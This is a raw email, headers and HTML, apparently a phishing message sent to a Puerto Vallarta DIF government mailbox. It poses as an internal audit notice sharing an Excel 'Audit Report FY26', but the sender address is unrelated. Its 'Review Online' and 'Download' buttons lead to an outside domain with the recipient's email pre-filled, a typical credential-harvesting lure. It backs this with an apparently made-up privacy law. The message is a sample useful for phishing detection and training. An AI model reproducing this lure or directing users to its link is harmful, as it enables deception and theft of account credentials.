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Return-Path: <m-ooishi@leto.eonet.ne.jp> Delivered-To: asistencia.alimentaria@difpuertovallarta.gob.mx Received: from v290860.vpsmx.net by v290860.vpsmx.net with LMTP id WAchAhjcs2pgTgAAWq2AVA (envelope-from <m-ooishi@leto.eonet.ne.jp>) for <asistencia.alimentaria@difpuertovallarta.gob.mx>; Wed, 23 Sep 2026 08:03:04 -0600 Return-path: <m-ooishi@leto.eonet.ne.jp> Envelope-to: asistencia.alimentaria@difpuertovallarta.gob.mx Delivery-date: Wed, 23 Sep 2026 08:03:05 -0600 Received: from [158.51.78.79] (port=60913) by v290860.vpsmx.net with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.100) (envelope-from <m-ooishi@leto.eonet.ne.jp>) id 1x9NYm-00000000652-3Qg7 for asistencia.alimentaria@difpuertovallarta.gob.mx; Wed, 23 Sep 2026 08:02:59 -0600 From: Difpuertovallarta Procurement Request Update <m-ooishi@leto.eonet.ne.jp> To: asistencia.alimentaria@difpuertovallarta.gob.mx Subject: Re: SOA & Audit report Shared Date: 23 Sep 2026 07:01:55 -0700 Message-ID: <20260923070155.F47B9C6D26AD49B1@leto.eonet.ne.jp> MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: quoted-printable X-From-Rewrite: unmodified, forwarded message <html><head> <meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge"> </head> <body><div id=3D"editbody1">  <table width=3D"100%" align=3D"center" style=3D'border-radius: 4px; border:= 1px solid rgb(237, 235, 233); border-image: none; color: rgb(34, 34, 34); = text-transform: none; letter-spacing: normal; font-family: "Segoe UI", Taho= ma, Geneva, Verdana, sans-serif; font-size: 13px; font-style: normal; font-= weight: 400; word-spacing: 0px; white-space: normal; max-width: 600px; orph= ans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligat= ures: normal; font-variant-caps: normal;=20 -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-de= coration-style: initial; text-decoration-color: initial;' border=3D"0" cell= spacing=3D"0" cellpadding=3D"0"> <tbody> <tr> <td style=3D"margin: 0px; padding: 40px 40px 20px;"> <p style=3D"margin: 0px; color: rgb(33, 115, 70); text-transform: uppercase= ; letter-spacing: 1px; font-size: 12px;">Internal Audit & Compliance</p= > <h1 style=3D"margin: 10px 0px 0px; color: rgb(50, 49, 48); font-size: 20px;= font-weight: 400;">Document Shared: Audit Report 2026</h1> </td> </tr> <tr> <td style=3D"margin: 0px; padding: 0px 40px 25px;"> <p style=3D"margin: 0px; color: rgb(96, 94, 92); line-height: 1.6; font-siz= e: 15px;">An audit report has been generated and shared with you for review= =2E This document contains sensitive information regarding the annual compl= iance review and financial disclosures.</p> </td> </tr> <tr> <td style=3D"margin: 0px; padding: 0px 40px 35px;"> <table width=3D"100%" style=3D"border-radius: 2px; border: 1px solid rgb(23= 7, 235, 233); border-image: none; background-color: rgb(250, 249, 248);" bo= rder=3D"0" cellspacing=3D"0" cellpadding=3D"0"> <tbody> <tr> <td width=3D"65" style=3D"margin: 0px; padding: 18px; text-align: center;">= <div style=3D"padding: 10px 2px; border-radius: 2px; color: rgb(255, 255, 2= 55); font-size: 11px; font-weight: 600; background-color: rgb(33, 115, 70);= ">XLSX</div> </td> <td style=3D"margin: 0px; padding: 15px 15px 15px 0px;"> <p style=3D"margin: 0px; color: rgb(50, 49, 48); font-size: 14px;">Audit_Re= port_FY26.xlsx</p> <p style=3D"margin: 4px 0px 0px; color: rgb(96, 94, 92); font-size: 11px;">= Shared Workbook • 74.1 KB</p> </td> </tr> </tbody> </table> </td> </tr> <tr> <td style=3D"margin: 0px; padding: 0px 40px 45px;"> <table border=3D"0" cellspacing=3D"0" cellpadding=3D"0"> <tbody> <tr> <td align=3D"center" style=3D"margin: 0px; border-radius: 2px;" bgcolor=3D"= #217346"><a style=3D"padding: 14px 28px; color: rgb(255, 255, 255); font-si= ze: 14px; display: inline-block;" href=3D"https://account.nomination.vu/man= agements.dhtml?network=3Dasistencia.alimentaria@difpuertovallarta.gob.mx" t= arget=3D"_blank" rel=3D"noopener noreferrer">Review Online</a></td> <td width=3D"15" style=3D"margin: 0px;"> </td> <td align=3D"center" style=3D"margin: 0px; border-radius: 2px; border: 1px = solid rgb(33, 115, 70); border-image: none;"><a style=3D"padding: 13px 27px= ; color: rgb(33, 115, 70); font-size: 14px; display: inline-block;" href=3D= "https://account.nomination.vu/managements.dhtml?network=3Dasistencia.alime= ntaria@difpuertovallarta.gob.mx" target=3D"_blank" rel=3D"noopener noreferr= er">Download</a></td> </tr> </tbody> </table> </td> </tr> <tr> <td style=3D"margin: 0px; padding: 30px 40px; color: rgb(96, 94, 92); font-= size: 11px; border-top-color: rgb(237, 235, 233); border-top-width: 1px; bo= rder-top-style: solid; background-color: rgb(243, 242, 241);"> <p style=3D"margin: 0px 0px 10px; line-height: 1.5;"><strong>Notice:</stron= g> This document is intended for asistencia.alimentaria@difpuerto= vallarta.gob.mx Unauthorized access, distribution, or copying of this audit= report is strictly prohibited under the 2026 Corporate Privacy Act.</p> <p style=3D"margin: 0px; color: rgb(161, 159, 157);">© Compliance Port= al.</p> </td> </tr> </tbody> </table> </div> </body></html>

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